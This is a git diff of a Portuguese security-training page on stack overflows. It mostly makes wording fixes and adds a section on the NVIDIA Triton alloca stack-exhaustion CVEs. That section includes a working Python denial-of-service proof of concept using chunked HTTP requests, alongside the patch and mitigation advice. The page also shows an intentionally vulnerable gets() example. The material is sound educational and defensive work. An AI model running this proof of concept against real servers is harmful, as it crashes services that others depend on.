diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 41e8df454..a97630c01 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -8,11 +8,11 @@ Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escre O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**. -A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha. +A vulnerabilidade geralmente surge porque uma função **copia para dentro da pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha. Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado. -Por exemplo, as seguintes funções poderiam ser vulneráveis: +Por exemplo, as seguintes funções podem ser vulneráveis: ```c void vulnerable() { char buffer[128]; @@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Encontrando offsets de Stack Overflows +### Encontrando os offsets de Stack Overflows A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**. -Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua. +Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua. -Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o. +Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-a. É possível usar **pwntools** para isso: ```python @@ -50,7 +50,7 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Explorando Estouro de Pilha -Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\ +Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente), você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\ A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro. No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis). @@ -79,7 +79,7 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d ../rop-return-oriented-programing/ {{#endref}} -## Estouro de Heap +## Estouros de Heap Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo: @@ -97,8 +97,7 @@ Existem várias proteções tentando prevenir a exploração de vulnerabilidades ### Exemplo do Mundo Real: CVE-2025-40596 (SonicWall SMA100) -Uma boa demonstração de por que **`sscanf` nunca deve ser confiável para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall. -A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`: +Uma boa demonstração de por que **`sscanf` nunca deve ser confiado para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall. A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; @@ -121,7 +120,66 @@ Mesmo que canários de pilha abortem o processo, um atacante ainda ganha um **De * Sempre forneça uma **largura máxima de campo** (por exemplo, `%511s`). * Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`. +### Exemplo do Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) + +O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **estouramentos de pilha** acessíveis através de sua API HTTP. O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`: +```c +int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); +if (n > 0) { +/* allocates 16 * n bytes on the stack */ +struct evbuffer_iovec *v = (struct evbuffer_iovec *) +alloca(sizeof(struct evbuffer_iovec) * n); +... +} +``` +1. `evbuffer_peek` (libevent) retorna o **número de segmentos de buffer internos** que compõem o corpo da solicitação HTTP atual. +2. Cada segmento causa a alocação de um `evbuffer_iovec` de **16 bytes** na **pilha** via `alloca()` – **sem nenhum limite superior**. +3. Ao abusar do **_chunked transfer-encoding_ HTTP**, um cliente pode forçar a solicitação a ser dividida em **centenas de milhares de chunks de 6 bytes** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limites até que a pilha se esgote. + +#### Prova de Conceito (DoS) +```python +#!/usr/bin/env python3 +import socket, sys + +def exploit(host="localhost", port=8000, chunks=523_800): +s = socket.create_connection((host, port)) +s.sendall(( +f"POST /v2/models/add_sub/infer HTTP/1.1\r\n" +f"Host: {host}:{port}\r\n" +"Content-Type: application/octet-stream\r\n" +"Inference-Header-Content-Length: 0\r\n" +"Transfer-Encoding: chunked\r\n" +"Connection: close\r\n\r\n" +).encode()) + +for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc +s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x +s.sendall(b"0\r\n\r\n") # end of chunks +s.close() + +if __name__ == "__main__": +exploit(*sys.argv[1:]) +``` +Uma solicitação de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma build padrão. + +#### Patch & Mitigação +A versão 25.07 substitui a alocação de pilha insegura por um **`std::vector` baseado em heap** e lida graciosamente com `std::bad_alloc`: +```c++ +std::vector v_vec; +try { +v_vec = std::vector(n); +} catch (const std::bad_alloc &e) { +return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); +} +struct evbuffer_iovec *v = v_vec.data(); +``` +Lições aprendidas: +* Nunca chame `alloca()` com tamanhos controlados pelo atacante. +* Solicitações em partes podem mudar drasticamente a forma dos buffers do lado do servidor. +* Valide / limite qualquer valor derivado da entrada do cliente *antes* de usá-lo em alocações de memória. + ## Referências * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) +* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) {{#include ../../banners/hacktricks-training.md}}